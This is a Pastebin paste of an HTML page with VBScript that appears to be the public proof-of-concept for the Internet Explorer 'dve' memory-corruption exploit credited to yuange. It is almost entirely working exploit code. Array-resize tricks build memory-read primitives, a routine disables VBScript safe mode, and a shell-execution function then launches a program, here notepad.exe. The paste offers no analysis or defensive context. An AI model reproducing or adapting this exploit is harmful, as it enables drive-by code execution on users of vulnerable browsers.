Advertisement
Guest User

Untitled

a guest
Nov 24th, 2014
100
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 4.00 KB | None | 0 0
  1. //*
  2. allie(win95+ie3-win10+ie11) dve copy by yuange in 2009.
  3. https://twitter.com/yuange75
  4. http://http://hi.baidu.com/yuange1975
  5.  
  6. *//
  7.  
  8. <!doctype html>
  9. <html>
  10. <meta http-equiv="X-UA-Compatible" content="IE=EmulateIE8" >
  11. <head>
  12. </head>
  13. <body>
  14.  
  15. <SCRIPT LANGUAGE="VBScript">
  16.  
  17. function runmumaa()
  18. On Error Resume Next
  19. set shell=createobject("Shell.Application")
  20. shell.ShellExecute "notepad.exe"
  21. end function
  22.  
  23. </script>
  24.  
  25. <SCRIPT LANGUAGE="VBScript">
  26.  
  27. dim aa()
  28. dim ab()
  29. dim a0
  30. dim a1
  31. dim a2
  32. dim a3
  33. dim win9x
  34. dim intVersion
  35. dim rnda
  36. dim funclass
  37. dim myarray
  38.  
  39. Begin()
  40.  
  41. function Begin()
  42. On Error Resume Next
  43. info=Navigator.UserAgent
  44.  
  45. if(instr(info,"Win64")>0) then
  46. exit function
  47. end if
  48.  
  49. if (instr(info,"MSIE")>0) then
  50. intVersion = CInt(Mid(info, InStr(info, "MSIE") + 5, 2))
  51. else
  52. exit function
  53.  
  54. end if
  55.  
  56. win9x=0
  57.  
  58. BeginInit()
  59. If Create()=True Then
  60. myarray= chrw(01)&chrw(2176)&chrw(01)&chrw(00)&chrw(00)&chrw(00)&chrw(00)&chrw(00)
  61. myarray=myarray&chrw(00)&chrw(32767)&chrw(00)&chrw(0)
  62.  
  63. if(intVersion<4) then
  64. document.write("<br> IE")
  65. document.write(intVersion)
  66. runshellcode()
  67. else
  68. setnotsafemode()
  69. end if
  70. end if
  71. end function
  72.  
  73. function BeginInit()
  74. Randomize()
  75. redim aa(5)
  76. redim ab(5)
  77. a0=13+17*rnd(6)
  78. a3=7+3*rnd(5)
  79. end function
  80.  
  81. function Create()
  82. On Error Resume Next
  83. dim i
  84. Create=False
  85. For i = 0 To 400
  86. If Over()=True Then
  87. ' document.write(i)
  88. Create=True
  89. Exit For
  90. End If
  91. Next
  92. end function
  93.  
  94. sub testaa()
  95. end sub
  96.  
  97. function mydata()
  98. On Error Resume Next
  99. i=testaa
  100. i=null
  101. redim Preserve aa(a2)
  102.  
  103. ab(0)=0
  104. aa(a1)=i
  105. ab(0)=6.36598737437801E-314
  106.  
  107. aa(a1+2)=myarray
  108. ab(2)=1.74088534731324E-310
  109. mydata=aa(a1)
  110. redim Preserve aa(a0)
  111. end function
  112.  
  113.  
  114. function setnotsafemode()
  115. On Error Resume Next
  116. i=mydata()
  117. i=readmemo(i+8)
  118. i=readmemo(i+16)
  119. j=readmemo(i+&h134)
  120. for k=0 to &h60 step 4
  121. j=readmemo(i+&h120+k)
  122. if(j=14) then
  123. j=0
  124. redim Preserve aa(a2)
  125. aa(a1+2)(i+&h11c+k)=ab(4)
  126. redim Preserve aa(a0)
  127.  
  128. j=0
  129. j=readmemo(i+&h120+k)
  130.  
  131. Exit for
  132. end if
  133.  
  134. next
  135. ab(2)=1.69759663316747E-313
  136. runmumaa()
  137. end function
  138.  
  139. function Over()
  140. On Error Resume Next
  141. dim type1,type2,type3
  142. Over=False
  143. a0=a0+a3
  144. a1=a0+2
  145. a2=a0+&h8000000
  146.  
  147. redim Preserve aa(a0)
  148. redim ab(a0)
  149.  
  150. redim Preserve aa(a2)
  151.  
  152. type1=1
  153. ab(0)=1.123456789012345678901234567890
  154. aa(a0)=10
  155.  
  156. If(IsObject(aa(a1-1)) = False) Then
  157. if(intVersion<4) then
  158. mem=cint(a0+1)*16
  159. j=vartype(aa(a1-1))
  160. if((j=mem+4) or (j*8=mem+8)) then
  161. if(vartype(aa(a1-1))<>0) Then
  162. If(IsObject(aa(a1)) = False ) Then
  163. type1=VarType(aa(a1))
  164. end if
  165. end if
  166. else
  167. redim Preserve aa(a0)
  168. exit function
  169.  
  170. end if
  171. else
  172. if(vartype(aa(a1-1))<>0) Then
  173. If(IsObject(aa(a1)) = False ) Then
  174. type1=VarType(aa(a1))
  175. end if
  176. end if
  177. end if
  178. end if
  179.  
  180.  
  181. If(type1=&h2f66) Then
  182. Over=True
  183. End If
  184. If(type1=&hB9AD) Then
  185. Over=True
  186. win9x=1
  187. End If
  188.  
  189. redim Preserve aa(a0)
  190.  
  191. end function
  192.  
  193. function ReadMemo(add)
  194. On Error Resume Next
  195. redim Preserve aa(a2)
  196.  
  197. ab(0)=0
  198. aa(a1)=add+4
  199. ab(0)=1.69759663316747E-313
  200. ReadMemo=lenb(aa(a1))
  201.  
  202. ab(0)=0
  203.  
  204. redim Preserve aa(a0)
  205. end function
  206.  
  207. </script>
  208.  
  209. </body>
  210. </html>
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement